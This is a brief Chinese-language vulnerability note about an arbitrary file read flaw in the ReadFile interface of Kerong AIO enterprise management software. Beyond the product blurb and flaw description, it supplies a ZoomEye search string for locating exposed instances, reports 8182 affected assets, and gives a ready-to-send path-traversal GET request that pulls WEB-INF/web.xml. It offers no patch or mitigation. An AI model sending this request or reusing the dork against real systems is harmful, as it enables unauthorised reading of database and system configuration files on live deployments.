产品简介
科荣AIO 企业⼀体化管理解决方案 通过ERP(进销存财务)、OA(办公自动化)、CRM(客户关系管理)、UDP(自定义平台),集电子商务平台、支付平台、ERP 平台、微信平台、移动APP 等解决了众多企业客⼾在管理过程中跨部门、多功能、需求多变等通⽤及个性化的问题。
漏洞描述
科荣AIO ReadFile 接口处存在任意文件读取漏洞,攻击者可通过该漏洞读取系统重要文件(如数据库配置文件、系统配置文件)、数据库配置文件等等,导致网站处于极度不安全状态。
ZoomEye及漏洞编号
“changeAccount(‘8000’)”
影响资产数量:8182
漏洞编号:暂无漏洞编号
影响版本
科荣 AIO全版本
漏洞复现
GET /ReadFile?tempFile=path&path=../../website/WEB-INF/&fileName=web.xml HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.1